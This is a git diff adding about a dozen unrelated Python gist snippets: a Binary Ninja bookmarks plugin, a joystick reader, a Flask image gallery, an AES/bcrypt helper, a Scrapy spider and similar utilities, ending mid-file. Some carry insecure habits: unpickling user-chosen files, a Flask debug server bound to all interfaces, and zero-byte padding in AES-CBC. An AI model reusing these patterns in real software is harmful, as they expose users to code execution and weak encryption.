+        bn.show_message_box(
+            'Invalid Bookmarks',
+            'The bookmarks file could not be read',
+            icon=bn.core.ErrorIcon
+        )
+
+def save_bookmarks(view):
+    if not view.file.data.get('bookmarks'):
+        return
+
+    default_name = os.path.splitext(view.file.filename)[0] + '.bnbm'
+    filename = bn.get_save_filename_input(
+        'Save bookmarks',
+        '*.bnbm',
+        default_name
+        )
+
+    try:
+        with open(filename, 'w') as bookmarks_file:
+            pickle.dump(
+                view.file.data['bookmarks'],
+                bookmarks_file
+            )
+    except ValueError:
+        bn.show_message_box(
+            'Error Saving Bookmarks',
+            'The bookmarks file could not be saved',
+            icon=bn.core.ErrorIcon
+        )
+
+
+bn.PluginCommand.register_for_address(
+    'Create Bookmark', 'Create a bookmark at this address.', create_bookmark
+)
+bn.PluginCommand.register('Go to Bookmark', 'Go to a bookmark.', goto_bookmark)
+bn.PluginCommand.register(
+    'Load Bookmarks', 'Load bookmarks from file.', load_bookmarks
+)
+bn.PluginCommand.register(
+    'Save Bookmarks', 'Save bookmarks to file.', save_bookmarks
+)
\ No newline at end of file
diff --git a/hard-gists/8877450/._snippet.py b/hard-gists/8877450/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8877450/._snippet.py differ
diff --git a/hard-gists/8877450/snippet.py b/hard-gists/8877450/snippet.py
new file mode 100644
index 00000000..4893ce0e
--- /dev/null
+++ b/hard-gists/8877450/snippet.py
@@ -0,0 +1,14 @@
+#!/usr/bin/env python3
+
+import sys
+import fontforge
+
+def main(file):
+  for font in fontforge.fontsInFile(file):
+    f = fontforge.open(u'%s(%s)' % (file, font))
+    f.generate('%s.ttf' % font)
+
+if __name__ == '__main__':
+  if len(sys.argv) != 2:
+    sys.exit('one ttc file one time.')
+  main(sys.argv[1])
\ No newline at end of file
diff --git a/hard-gists/8883307/._snippet.py b/hard-gists/8883307/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8883307/._snippet.py differ
diff --git a/hard-gists/8883307/snippet.py b/hard-gists/8883307/snippet.py
new file mode 100644
index 00000000..5487b1d4
--- /dev/null
+++ b/hard-gists/8883307/snippet.py
@@ -0,0 +1,203 @@
+# Released by rdb under the Unlicense (unlicense.org)
+# Further reading about the WinMM Joystick API:
+# http://msdn.microsoft.com/en-us/library/windows/desktop/dd757116(v=vs.85).aspx
+
+from math import floor, ceil
+import time
+import ctypes
+import _winreg as winreg
+from ctypes.wintypes import WORD, UINT, DWORD
+from ctypes.wintypes import WCHAR as TCHAR
+
+# Fetch function pointers
+joyGetNumDevs = ctypes.windll.winmm.joyGetNumDevs
+joyGetPos = ctypes.windll.winmm.joyGetPos
+joyGetPosEx = ctypes.windll.winmm.joyGetPosEx
+joyGetDevCaps = ctypes.windll.winmm.joyGetDevCapsW
+
+# Define constants
+MAXPNAMELEN = 32
+MAX_JOYSTICKOEMVXDNAME = 260
+
+JOY_RETURNX = 0x1
+JOY_RETURNY = 0x2
+JOY_RETURNZ = 0x4
+JOY_RETURNR = 0x8
+JOY_RETURNU = 0x10
+JOY_RETURNV = 0x20
+JOY_RETURNPOV = 0x40
+JOY_RETURNBUTTONS = 0x80
+JOY_RETURNRAWDATA = 0x100
+JOY_RETURNPOVCTS = 0x200
+JOY_RETURNCENTERED = 0x400
+JOY_USEDEADZONE = 0x800
+JOY_RETURNALL = JOY_RETURNX | JOY_RETURNY | JOY_RETURNZ | JOY_RETURNR | JOY_RETURNU | JOY_RETURNV | JOY_RETURNPOV | JOY_RETURNBUTTONS
+
+# This is the mapping for my XBox 360 controller.
+button_names = ['a', 'b', 'x', 'y', 'tl', 'tr', 'back', 'start', 'thumbl', 'thumbr']
+povbtn_names = ['dpad_up', 'dpad_right', 'dpad_down', 'dpad_left']
+
+# Define some structures from WinMM that we will use in function calls.
+class JOYCAPS(ctypes.Structure):
+    _fields_ = [
+        ('wMid', WORD),
+        ('wPid', WORD),
+        ('szPname', TCHAR * MAXPNAMELEN),
+        ('wXmin', UINT),
+        ('wXmax', UINT),
+        ('wYmin', UINT),
+        ('wYmax', UINT),
+        ('wZmin', UINT),
+        ('wZmax', UINT),
+        ('wNumButtons', UINT),
+        ('wPeriodMin', UINT),
+        ('wPeriodMax', UINT),
+        ('wRmin', UINT),
+        ('wRmax', UINT),
+        ('wUmin', UINT),
+        ('wUmax', UINT),
+        ('wVmin', UINT),
+        ('wVmax', UINT),
+        ('wCaps', UINT),
+        ('wMaxAxes', UINT),
+        ('wNumAxes', UINT),
+        ('wMaxButtons', UINT),
+        ('szRegKey', TCHAR * MAXPNAMELEN),
+        ('szOEMVxD', TCHAR * MAX_JOYSTICKOEMVXDNAME),
+    ]
+
+class JOYINFO(ctypes.Structure):
+    _fields_ = [
+        ('wXpos', UINT),
+        ('wYpos', UINT),
+        ('wZpos', UINT),
+        ('wButtons', UINT),
+    ]
+
+class JOYINFOEX(ctypes.Structure):
+    _fields_ = [
+        ('dwSize', DWORD),
+        ('dwFlags', DWORD),
+        ('dwXpos', DWORD),
+        ('dwYpos', DWORD),
+        ('dwZpos', DWORD),
+        ('dwRpos', DWORD),
+        ('dwUpos', DWORD),
+        ('dwVpos', DWORD),
+        ('dwButtons', DWORD),
+        ('dwButtonNumber', DWORD),
+        ('dwPOV', DWORD),
+        ('dwReserved1', DWORD),
+        ('dwReserved2', DWORD),
+    ]
+
+# Get the number of supported devices (usually 16).
+num_devs = joyGetNumDevs()
+if num_devs == 0:
+    print("Joystick driver not loaded.")
+
+# Number of the joystick to open.
+joy_id = 0
+
+# Check if the joystick is plugged in.
+info = JOYINFO()
+p_info = ctypes.pointer(info)
+if joyGetPos(0, p_info) != 0:
+    print("Joystick %d not plugged in." % (joy_id + 1))
+
+# Get device capabilities.
+caps = JOYCAPS()
+if joyGetDevCaps(joy_id, ctypes.pointer(caps), ctypes.sizeof(JOYCAPS)) != 0:
+    print("Failed to get device capabilities.")
+
+print "Driver name:", caps.szPname
+
+# Fetch the name from registry.
+key = None
+if len(caps.szRegKey) > 0:
+    try:
+        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "System\\CurrentControlSet\\Control\\MediaResources\\Joystick\\%s\\CurrentJoystickSettings" % (caps.szRegKey))
+    except WindowsError:
+        key = None
+
+if key:
+    oem_name = winreg.QueryValueEx(key, "Joystick%dOEMName" % (joy_id + 1))
+    if oem_name:
+        key2 = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "System\\CurrentControlSet\\Control\\MediaProperties\\PrivateProperties\\Joystick\\OEM\\%s" % (oem_name[0]))
+        if key2:
+            oem_name = winreg.QueryValueEx(key2, "OEMName")
+            print "OEM name:", oem_name[0]
+        key2.Close()
+
+# Set the initial button states.
+button_states = {}
+for b in range(caps.wNumButtons):
+    name = button_names[b]
+    if (1 << b) & info.wButtons:
+        button_states[name] = True
+    else:
+        button_states[name] = False
+
+for name in povbtn_names:
+    button_states[name] = False
+
+buttons_text = ""
+
+# Initialise the JOYINFOEX structure.
+info = JOYINFOEX()
+info.dwSize = ctypes.sizeof(JOYINFOEX)
+info.dwFlags = JOY_RETURNBUTTONS | JOY_RETURNCENTERED | JOY_RETURNPOV | JOY_RETURNU | JOY_RETURNV | JOY_RETURNX | JOY_RETURNY | JOY_RETURNZ
+p_info = ctypes.pointer(info)
+
+# Fetch new joystick data until it returns non-0 (that is, it has been unplugged)
+while joyGetPosEx(0, p_info) == 0:
+    # Remap the values to float
+    x = (info.dwXpos - 32767) / 32768.0
+    y = (info.dwYpos - 32767) / 32768.0
+    trig = (info.dwZpos - 32767) / 32768.0
+    rx = (info.dwRpos - 32767) / 32768.0
+    ry = (info.dwUpos - 32767) / 32768.0
+
+    # NB.  Windows drivers give one axis for the trigger, but I want to have
+    # two for compatibility with platforms that do support them as separate axes.
+    # This means it'll behave strangely when both triggers are pressed, though.
+    lt = max(-1.0,  trig * 2 - 1.0)
+    rt = max(-1.0, -trig * 2 - 1.0)
+
+    # Figure out which buttons are pressed.
+    for b in range(caps.wNumButtons):
+        pressed = (0 != (1 << b) & info.dwButtons)
+        name = button_names[b]
+        button_states[name] = pressed
+
+    # Determine the state of the POV buttons using the provided POV angle.
+    if info.dwPOV == 65535:
+        povangle1 = None
+        povangle2 = None
+    else:
+        angle = info.dwPOV / 9000.0
+        povangle1 = int(floor(angle)) % 4
+        povangle2 = int(ceil(angle)) % 4
+
+    for i, btn in enumerate(povbtn_names):
+        if i == povangle1 or i == povangle2:
+            button_states[btn] = True
+        else:
+            button_states[btn] = False
+
+    # Format a list of currently pressed buttons.
+    prev_len = len(buttons_text)
+    buttons_text = " "
+    for btn in button_names + povbtn_names:
+        if button_states.get(btn):
+            buttons_text += btn + ' '
+
+    # Add spaces to erase data from the previous line
+    erase = ' ' * max(0, prev_len - len(buttons_text))
+
+    # Display the x, y, trigger values.
+    print "\r(% .3f % .3f % .3f) (% .3f % .3f % .3f)%s%s" % (x, y, lt, rx, ry, rt, buttons_text, erase),
+
+    #print info.dwXpos, info.dwYpos, info.dwZpos, info.dwRpos, info.dwUpos, info.dwVpos, info.dwButtons, info.dwButtonNumber, info.dwPOV, info.dwReserved1, info.dwReserved2
+    time.sleep(0.01)
+
diff --git a/hard-gists/889692/._snippet.py b/hard-gists/889692/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/889692/._snippet.py differ
diff --git a/hard-gists/889692/snippet.py b/hard-gists/889692/snippet.py
new file mode 100644
index 00000000..0628e554
--- /dev/null
+++ b/hard-gists/889692/snippet.py
@@ -0,0 +1,28 @@
+from django.db import models
+from django.db.models import signals
+
+class DeletingFileField(models.FileField):
+    """
+    FileField subclass that deletes the refernced file when the model object
+    itself is deleted.
+    
+    WARNING: Be careful using this class - it can cause data loss! This class
+    makes at attempt to see if the file's referenced elsewhere, but it can get
+    it wrong in any number of cases.
+    """
+    def contribute_to_class(self, cls, name):
+        super(DeletingFileField, self).contribute_to_class(cls, name)
+        signals.post_delete.connect(self.delete_file, sender=cls)
+        
+    def delete_file(self, instance, sender, **kwargs):
+        file = getattr(instance, self.attname)
+        # If no other object of this type references the file,
+        # and it's not the default value for future objects,
+        # delete it from the backend.
+        if file and file.name != self.default and \
+            not sender._default_manager.filter(**{self.name: file.name}):
+                file.delete(save=False)
+        elif file:
+            # Otherwise, just close the file, so it doesn't tie up resources.
+            file.close()
+        
\ No newline at end of file
diff --git a/hard-gists/88d0ebab5ace81201f04/._snippet.py b/hard-gists/88d0ebab5ace81201f04/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/88d0ebab5ace81201f04/._snippet.py differ
diff --git a/hard-gists/88d0ebab5ace81201f04/snippet.py b/hard-gists/88d0ebab5ace81201f04/snippet.py
new file mode 100644
index 00000000..a85601b6
--- /dev/null
+++ b/hard-gists/88d0ebab5ace81201f04/snippet.py
@@ -0,0 +1,59 @@
+import facebook
+from collections import Counter
+import requests
+
+likes_counter = Counter()
+
+# Get temp tokens at: https://developers.facebook.com/tools/explorer/ 
+USER_ACCESS_TOKEN = ""
+
+client = facebook.GraphAPI(access_token=USER_ACCESS_TOKEN, version='2.5')
+
+URL = "/me/feed"
+PAGE_COUNT = 0
+POSTS_COUNT = 0
+
+while True:
+
+    PAGE_COUNT = PAGE_COUNT + 1
+
+    if PAGE_COUNT > 100:
+        break
+
+    print("Page: {}".format(PAGE_COUNT))
+
+    if PAGE_COUNT > 1:
+        feed = requests.get(URL).json()
+    else:
+        feed = client.request(URL)
+
+    try:
+        if 'next' in feed['paging'].keys():
+            URL = feed['paging']['next']
+        else:
+            break
+    except:
+        print(feed)
+
+    posts = feed.get('data')
+    if posts:
+        for post in posts:
+            POSTS_COUNT = POSTS_COUNT + 1
+            if post.get('likes'):
+                likes = post['likes']['data']
+                post_likes = {}
+                for like in likes:
+                    post_likes[like['name']] = 1
+                likes_counter.update(post_likes)
+            else:
+                print(post)
+    else:
+        print(feed)
+
+top_likers = likes_counter.most_common(20)
+
+print("TOTAL POSTS: {}".format(POSTS_COUNT))
+for counter in top_likers:
+    name = counter[0]
+    percent = float((counter[1] / POSTS_COUNT) * 100)
+    print("{0} - {1:.2f} %".format(name, percent))
diff --git a/hard-gists/890640/._snippet.py b/hard-gists/890640/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/890640/._snippet.py differ
diff --git a/hard-gists/890640/snippet.py b/hard-gists/890640/snippet.py
new file mode 100644
index 00000000..3d5e8bc8
--- /dev/null
+++ b/hard-gists/890640/snippet.py
@@ -0,0 +1,158 @@
+import sys
+from gi.repository import Gtk, Gdk, WebKit
+
+class BrowserTab(Gtk.VBox):
+    def __init__(self, *args, **kwargs):
+        super(BrowserTab, self).__init__(*args, **kwargs)
+
+        go_button = Gtk.Button("go to...")
+        go_button.connect("clicked", self._load_url)
+        self.url_bar = Gtk.Entry()
+        self.url_bar.connect("activate", self._load_url)
+        self.webview = WebKit.WebView()
+        self.show()
+
+        self.go_back = Gtk.Button("Back")
+        self.go_back.connect("clicked", lambda x: self.webview.go_back())
+        self.go_forward = Gtk.Button("Forward")
+        self.go_forward.connect("clicked", lambda x: self.webview.go_forward())
+
+        scrolled_window = Gtk.ScrolledWindow()
+        scrolled_window.add(self.webview)
+
+        find_box = Gtk.HBox()
+        close_button = Gtk.Button("Close")
+        close_button.connect("clicked", lambda x: find_box.hide())
+        self.find_entry = Gtk.Entry()
+        self.find_entry.connect("activate",
+                                lambda x: self.webview.search_text(self.find_entry.get_text(),
+                                                                   False, True, True))
+        prev_button = Gtk.Button("Previous")
+        next_button = Gtk.Button("Next")
+        prev_button.connect("clicked",
+                            lambda x: self.webview.search_text(self.find_entry.get_text(),
+                                                               False, False, True))
+        next_button.connect("clicked",
+                            lambda x: self.webview.search_text(self.find_entry.get_text(),
+                                                               False, True, True))
+        find_box.pack_start(close_button, False, False, 0)
+        find_box.pack_start(self.find_entry, False, False, 0)
+        find_box.pack_start(prev_button, False, False, 0)
+        find_box.pack_start(next_button, False, False, 0)
+        self.find_box = find_box
+
+        url_box = Gtk.HBox()
+        url_box.pack_start(self.go_back, False, False, 0)
+        url_box.pack_start(self.go_forward, False, False, 0)
+        url_box.pack_start(self.url_bar, True, True, 0)
+        url_box.pack_start(go_button, False, False, 0)
+
+        self.pack_start(url_box, False, False, 0)
+        self.pack_start(scrolled_window, True, True, 0)
+        self.pack_start(find_box, False, False, 0)
+
+        url_box.show_all()
+        scrolled_window.show_all()
+
+    def _load_url(self, widget):
+        url = self.url_bar.get_text()
+        if not "://" in url:
+            url = "http://" + url
+        self.webview.load_uri(url)
+
+class Browser(Gtk.Window):
+    def __init__(self, *args, **kwargs):
+        super(Browser, self).__init__(*args, **kwargs)
+
+	# create notebook and tabs
+	self.notebook = Gtk.Notebook()
+	self.notebook.set_scrollable(True)
+
+	# basic stuff
+        self.tabs = []
+	self.set_size_request(400,400)
+
+        # create a first, empty browser tab
+        self.tabs.append((self._create_tab(), Gtk.Label("New Tab")))
+        self.notebook.append_page(*self.tabs[0])
+        self.add(self.notebook)
+
+	# connect signals
+        self.connect("destroy", Gtk.main_quit)
+        self.connect("key-press-event", self._key_pressed)
+        self.notebook.connect("switch-page", self._tab_changed)
+
+        self.notebook.show()
+        self.show()
+
+    def _tab_changed(self, notebook, current_page, index):
+        if not index:
+            return
+        title = self.tabs[index][0].webview.get_title()
+        if title:
+            self.set_title(title)
+
+    def _title_changed(self, webview, frame, title):
+        current_page = self.notebook.get_current_page()
+
+        counter = 0
+        for tab, label in self.tabs:
+            if tab.webview is webview:
+                label.set_text(title)
+                if counter == current_page:
+                    self._tab_changed(None, None, counter)
+                break
+            counter += 1
+
+    def _create_tab(self):
+        tab = BrowserTab()
+        tab.webview.connect("title-changed", self._title_changed)
+        return tab
+
+    def _reload_tab(self):
+        self.tabs[self.notebook.get_current_page()][0].webview.reload()
+
+    def _close_current_tab(self):
+        if self.notebook.get_n_pages() == 1:
+            return
+        page = self.notebook.get_current_page()
+        current_tab = self.tabs.pop(page)
+        self.notebook.remove(current_tab[0])
+
+    def _open_new_tab(self):
+        current_page = self.notebook.get_current_page()
+        page_tuple = (self._create_tab(), Gtk.Label("New Tab"))
+        self.tabs.insert(current_page+1, page_tuple)
+        self.notebook.insert_page(page_tuple[0], page_tuple[1], current_page+1)
+        self.notebook.set_current_page(current_page+1)       
+
+    def _focus_url_bar(self):
+        current_page = self.notebook.get_current_page()
+        self.tabs[current_page][0].url_bar.grab_focus()
+
+    def _raise_find_dialog(self):
+        current_page = self.notebook.get_current_page()
+        self.tabs[current_page][0].find_box.show_all()
+        self.tabs[current_page][0].find_entry.grab_focus()
+    
+
+    def _key_pressed(self, widget, event):
+        modifiers = Gtk.accelerator_get_default_mod_mask()
+        mapping = {Gdk.KEY_r: self._reload_tab,
+                   Gdk.KEY_w: self._close_current_tab,
+                   Gdk.KEY_t: self._open_new_tab,
+                   Gdk.KEY_l: self._focus_url_bar,
+                   Gdk.KEY_f: self._raise_find_dialog,
+                   Gdk.KEY_q: Gtk.main_quit}
+
+        if event.state & modifiers == Gdk.ModifierType.CONTROL_MASK \
+          and event.keyval in mapping:
+            mapping[event.keyval]()
+        
+
+if __name__ == "__main__":
+    Gtk.init(sys.argv)
+
+    browser = Browser()
+
+    Gtk.main()
diff --git a/hard-gists/8907544/._snippet.py b/hard-gists/8907544/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8907544/._snippet.py differ
diff --git a/hard-gists/8907544/snippet.py b/hard-gists/8907544/snippet.py
new file mode 100644
index 00000000..570b7e22
--- /dev/null
+++ b/hard-gists/8907544/snippet.py
@@ -0,0 +1,106 @@
+# -*- coding: utf-8 -*-
+import sys
+import os
+import base64
+import bcrypt
+from Crypto import Random
+from Crypto.Cipher import AES
+from Crypto.Hash import SHA256
+
+class Blockout:
+
+    @staticmethod
+    def enblockout(s, key):
+        # user provided
+        return
+    
+    @staticmethod
+    def deblockout(blockout, key):
+        # user provided
+        return
+
+    @staticmethod
+    def hash(s):
+        # bcrypt for password hashing with complexity 12
+        return bcrypt.hashpw(s, bcrypt.gensalt(12))
+
+    @staticmethod
+    def hash_verify(s, hashed):
+        return bcrypt.hashpw(s, hashed) == hashed
+
+    @staticmethod
+    def hash_to_aes256_key(hashed):
+        # return binary NOT hex digest
+        sha256 = SHA256.new(hashed)
+        return sha256.digest()
+    
+    @staticmethod
+    def encrypt(s, key):
+
+        # pad the s to block size boundary
+        s_padding_len = AES.block_size - (len(s) % AES.block_size)
+        s += chr(0)*s_padding_len
+
+        # create a random iv
+        iv = Random.new().read(AES.block_size)
+
+        # AES encrypt
+        aes = AES.new(key, AES.MODE_CBC, iv)
+        encrypted = aes.encrypt(s)
+
+        # return the encrypted and iv
+        data = {"encrypted": base64.b64encode(encrypted), "iv": base64.b64encode(iv)}
+        return data
+
+    @staticmethod
+    def decrypt(s, key, iv):
+
+        # base64 decode s
+        s = base64.b64decode(s)
+
+        # base64 decode the iv
+        iv = base64.b64decode(iv)
+
+        # AES decrypt using CBC
+        aes = AES.new(key, AES.MODE_CBC, iv)
+        decrypted = aes.decrypt(s)
+
+        # return depaded decrypted
+        return decrypted.strip()
+        
+def main():
+    
+    # aes256 encryption algorithm
+    # 1.  bcrypt the password (to secure the password)
+    # 2.  sha256 the bcrypted password (only to get a fixed 256 bit size for aes 256)
+    # 3.  generate a random IV
+    # 3.  aes256 encrypt the message with the sha256 hash of the bcrypted password and IV in CBC mode
+    # 4.  base64 encode the encrypted message and IV for storage
+
+    # aes256 decryption algorithm
+    # 1.  base64 decode the encrypted messaged and IV
+    # 2.  use the sha256 bcrypted password as the aes256 key
+    # 3.  aes256 decrypt the message with the sha256 hash of the bcrypted password, IV, in CBC mode
+    # 4.  trim any padding
+
+    # bcrypt hash the key
+    keyHash = Blockout.hash("password")
+    print "keyHash: " + keyHash + "\n"
+
+    # convert the key hash to AES256 key
+    aesKey = Blockout.hash_to_aes256_key(keyHash)
+    print "aesKey: " + aesKey
+
+    # aes256 encrypt using aesKey
+    data = Blockout.encrypt("hello", aesKey)
+    print "data: "
+    print data 
+    print "\n"
+
+    # aes256 decrypt 
+    s = Blockout.decrypt(data["encrypted"], aesKey, data["iv"])
+    print "s: " + s + "\n"
+        
+# execute main
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/hard-gists/891080/._snippet.py b/hard-gists/891080/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/891080/._snippet.py differ
diff --git a/hard-gists/891080/snippet.py b/hard-gists/891080/snippet.py
new file mode 100644
index 00000000..269456df
--- /dev/null
+++ b/hard-gists/891080/snippet.py
@@ -0,0 +1,24 @@
+#! /usr/bin/env python
+
+from geoserver.catalog import Catalog
+
+cat = Catalog('http://host/geoserver/rest', 'user', 'password')
+
+def internal_name(s):
+    return s.startswith("__") and s.endswith("__")
+
+def check(x):
+    if hasattr(x, 'name'):
+        print "NAME:", x.name, " TYPE:", type(x)
+    for name in dir(x):
+        if not internal_name(name) and getattr(x, name) is None:
+            print x, name, "IS NONE"
+
+for ws in cat.get_workspaces(): 
+    check(ws)
+
+for st in cat.get_stores():
+    check(st)
+
+    for rs in cat.get_resources(st):
+        check(rs)
\ No newline at end of file
diff --git a/hard-gists/8916745/._snippet.py b/hard-gists/8916745/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8916745/._snippet.py differ
diff --git a/hard-gists/8916745/snippet.py b/hard-gists/8916745/snippet.py
new file mode 100644
index 00000000..0c27f495
--- /dev/null
+++ b/hard-gists/8916745/snippet.py
@@ -0,0 +1,100 @@
+#!/bin/python
+
+import os
+from flask import Flask, Response, request, abort, render_template_string, send_from_directory
+import Image
+import StringIO
+
+app = Flask(__name__)
+
+WIDTH = 1000
+HEIGHT = 800
+
+TEMPLATE = '''
+<!DOCTYPE html>
+<html>
+<head>
+    <title></title>
+    <meta charset="utf-8" />
+    <style>
+body {
+    margin: 0;
+    background-color: #333;
+}
+
+.image {
+    display: block;
+    margin: 2em auto;
+    background-color: #444;
+    box-shadow: 0 0 10px rgba(0,0,0,0.3);
+}
+
+img {
+    display: block;
+}
+    </style>
+    <script src="https://code.jquery.com/jquery-1.10.2.min.js" charset="utf-8"></script>
+    <script src="http://luis-almeida.github.io/unveil/jquery.unveil.min.js" charset="utf-8"></script>
+    <script>
+$(document).ready(function() {
+    $('img').unveil(1000);
+});
+    </script>
+</head>
+<body>
+    {% for image in images %}
+        <a class="image" href="{{ image.src }}" style="width: {{ image.width }}px; height: {{ image.height }}px">
+            <img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="{{ image.src }}?w={{ image.width }}&amp;h={{ image.height }}" width="{{ image.width }}" height="{{ image.height }}" />
+        </a>
+    {% endfor %}
+</body>
+'''
+
+@app.route('/<path:filename>')
+def image(filename):
+    try:
+        w = int(request.args['w'])
+        h = int(request.args['h'])
+    except (KeyError, ValueError):
+        return send_from_directory('.', filename)
+
+    try:
+        im = Image.open(filename)
+        im.thumbnail((w, h), Image.ANTIALIAS)
+        io = StringIO.StringIO()
+        im.save(io, format='JPEG')
+        return Response(io.getvalue(), mimetype='image/jpeg')
+
+    except IOError:
+        abort(404)
+
+    return send_from_directory('.', filename)
+
+@app.route('/')
+def index():
+    images = []
+    for root, dirs, files in os.walk('.'):
+        for filename in [os.path.join(root, name) for name in files]:
+            if not filename.endswith('.jpg'):
+                continue
+            im = Image.open(filename)
+            w, h = im.size
+            aspect = 1.0*w/h
+            if aspect > 1.0*WIDTH/HEIGHT:
+                width = min(w, WIDTH)
+                height = width/aspect
+            else:
+                height = min(h, HEIGHT)
+                width = height*aspect
+            images.append({
+                'width': int(width),
+                'height': int(height),
+                'src': filename
+            })
+
+    return render_template_string(TEMPLATE, **{
+        'images': images
+    })
+
+if __name__ == '__main__':
+    app.run(debug=True, host='::')
diff --git a/hard-gists/8917867/._snippet.py b/hard-gists/8917867/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8917867/._snippet.py differ
diff --git a/hard-gists/8917867/snippet.py b/hard-gists/8917867/snippet.py
new file mode 100644
index 00000000..2b5e86cb
--- /dev/null
+++ b/hard-gists/8917867/snippet.py
@@ -0,0 +1,63 @@
+from scrapy.spider import  Spider
+from scrapy.contrib.spiders import CrawlSpider, Rule
+from scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor
+from scrapy.selector import Selector
+from scrapy.item import Item, Field
+import urllib
+
+class Question(Item):
+    tags = Field()
+    answers = Field()
+    votes = Field()
+    date = Field()
+    link = Field()
+
+class ArgSpider(CrawlSpider):
+    """
+    
+    Scrapes first 15 stackoverflow.com questions containing "query" within a given "tag" and 
+    displays links, number of votes etc in the terminal. 
+
+    Usage:
+    
+      ~: scrapy crawl StackSpider -a tag=[your tag] -a query=[your query]
+
+    For example
+        
+       ~: scrapy crawl StackSpider -a tag=python -a query="crawling a website"
+
+
+    """
+
+    name = "StackSpider"
+
+    def __init__(self,tag=None,query=None,*args,**kwargs):
+        super(ArgSpider,self).__init__(*args,**kwargs)
+        self.start_urls = []
+        urlTemplate = "http://stackoverflow.com/search?q=%5B{tag}%5D{query}"
+        query = urllib.quote(query)
+        self.start_urls.append(urlTemplate.format(tag=tag,query=query))
+
+
+    def parse(self,response):
+        """
+
+        @url http://stackoverflow.com/search?q=%5Bpython%5Dfiltering"
+        @returns items 15
+        @returns requests 0 1
+        @scrapes votes answers date link
+
+        """
+        sel = Selector(response)
+        elems = sel.css('.question-summary')
+        results = []
+        for elem in elems:
+            item = Question()
+            item["tags"] = elem.css('.post-tag::text').extract()
+            item["votes"] = elem.css('.vote-count-post').xpath('.//strong/text()').extract()
+            item["answers"] = elem.css('.status').xpath('.//strong/text()').extract()
+            item["date"] = elem.css('.relativetime').xpath('.//@title').extract()
+            link = elem.css('.result-link').xpath('.//a/@href').extract()
+            item["link"] = link
+            results.append(item)
+        return results
\ No newline at end of file
diff --git a/hard-gists/893580/._snippet.py b/hard-gists/893580/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/893580/._snippet.py differ
diff --git a/hard-gists/893580/snippet.py b/hard-gists/893580/snippet.py
new file mode 100644
index 00000000..eea6ca44
--- /dev/null
+++ b/hard-gists/893580/snippet.py
@@ -0,0 +1,40 @@
+#!/usr/bin/env python
+# encoding: utf-8
+"""
+bed_from_genbank.py
+
+grab the gene records from a genbank file (edit for other record types).
+
+- requires:  biopython
+
+"""
+
+from Bio import SeqIO
+
+import pdb
+
+def main():
+    outf = open('test/annotation/vitis_vinifera.bed', 'w')
+    header = """track name=vitVinGenes description="V. vinifera cpdna genes" itemRgb=On\n"""
+    outf.write(header)
+    for record in SeqIO.parse(open("test/annotation/vitis_vinifera.gb", "rU"), "genbank") :
+        for feature in record.features:
+            if feature.type == 'gene':
+                start = feature.location.start.position
+                stop = feature.location.end.position
+                try:
+                    name = feature.qualifiers['gene'][0]
+                except:
+                    # some features only have a locus tag
+                    name = feature.qualifiers['locus_tag'][0]
+                if feature.strand < 0:
+                    strand = "-"
+                else:
+                    strand = "+"
+                bed_line = "cpdna\t{0}\t{1}\t{2}\t1000\t{3}\t{0}\t{1}\t65,105,225\n".format(start, stop, name, strand)
+                outf.write(bed_line)
+    outf.close()
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/893b63390160e33ddb3c/._snippet.py b/hard-gists/893b63390160e33ddb3c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/893b63390160e33ddb3c/._snippet.py differ
diff --git a/hard-gists/893b63390160e33ddb3c/snippet.py b/hard-gists/893b63390160e33ddb3c/snippet.py
new file mode 100644
index 00000000..c46991f0
--- /dev/null
+++ b/hard-gists/893b63390160e33ddb3c/snippet.py
@@ -0,0 +1,166 @@
+# Tests for antialiasing a high-frequency image in various ways
+# Nathan Reed, July 2014
+# Written for Python 3.4; requires numpy and Pillow to be installed
+
+import concurrent.futures
+import math
+import multiprocessing
+import numpy as np
+import optparse
+import random
+import sys
+import threading
+from PIL import Image
+
+# Parse command-line options
+parser = optparse.OptionParser()
+parser.add_option('-o', '--output', dest='outputPath', default='aa.bmp', help='Write output to FILE', metavar='FILE')
+parser.add_option('-d', '--dims', dest='dims', default='512x512', help='Image width x height, e.g. 640x480')
+parser.add_option('-s', '--samples', dest='samples', default=16, help='Number of samples per pixel')
+parser.add_option('-k', '--kernel', dest='kernel', default='gaussian', help='Antialiasing kernel to use. Choices are: box, gaussian, lanczos')
+parser.add_option('-r', '--radius', dest='radius', default=1.0, help='Kernel radius in pixels')
+parser.add_option('--splat', dest='splat', default=False, action='store_true', help='Enable splatting mode (otherwise, per-pixel mode)')
+options, _ = parser.parse_args()
+
+dX, dY = (int(n) for n in options.dims.lower().split('x'))
+options.samples = int(options.samples)
+options.kernel = options.kernel.lower()
+options.radius = float(options.radius)
+radiusX = options.radius / dX
+radiusY = options.radius / dY
+
+# Some kernels can't be sampled directly and require weights (which slow things down).
+# In splatting mode, we always use weights.
+needWeights = (options.kernel in ('lanczos',)) or options.splat
+
+# Here's the image function we'll use to test antialiasing; it has infinite-frequency edges,
+# plus the placement of the edges varies in spatial frequency over the image
+minPeriod = 2e-5
+maxPeriod = 0.2
+def evalImage(x, y):
+	period = minPeriod + (maxPeriod - minPeriod) * y**2
+	phase = x / period
+	phase -= np.floor(phase)
+	return phase.round()
+
+# Pixel center positions, to which offsets will be added to get sample positions
+# (1D arrays, but shaped for broadcasting correctly with 2D arrays)
